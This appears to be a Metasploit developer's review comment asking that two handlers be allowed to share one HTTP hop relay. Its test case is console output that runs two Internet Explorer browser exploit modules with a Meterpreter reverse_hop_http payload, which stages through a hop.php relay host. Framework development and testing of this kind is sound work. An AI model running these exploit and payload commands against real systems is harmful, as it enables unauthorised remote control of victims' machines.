I think worths to allow the console to have two handlers watching the same hop, easy test case I can find is using two browser exploit modules:

```
msf exploit(ms13_037_svg_dashstyle) > set hOPURL http://192.168.172.133/hop.php
hOPURL => http://192.168.172.133/hop.php
msf exploit(ms13_037_svg_dashstyle) > exploit
[*] Exploit running as background job.

[*] Preparing stage for next session LiAl_9OmW0x2Eh0u3nYF1
[*] Patched URL at offset 662856...
msf exploit(ms13_037_svg_dashstyle) > [*] Using URL: http://0.0.0.0:8080/AQnA7XkgIp
[*]  Local IP: http://10.6.0.165:8080/AQnA7XkgIp
[*] Server started.
[*] Uploaded stage to hop http://192.168.172.133/hop.php?/

msf exploit(ms13_037_svg_dashstyle) > use exploit/windows/browser/ms13_069_caret 
msf exploit(ms13_069_caret) > set payload windows/meterpreter/reverse_hop_http 
payload => windows/meterpreter/reverse_hop_http
msf exploit(ms13_069_caret) > set HOPURL http://192.168.172.133/hop.php
HOPURL => http://192.168.172.133/hop.php
msf exploit(ms13_069_caret) > exploit
[*] Exploit running as background job.

[-] Exploit failed: RuntimeError Already running a handler for hop http://192.168.172.133/hop.php?/.
```

Would rock being able to use the same hop for several exploits I think. On the other side I'm not sure if pro products would being impacted by this limitation, but yeah, at this moment I'm just taking the framework into account while review, and even with that I think worths to allow different handlers to use the same hop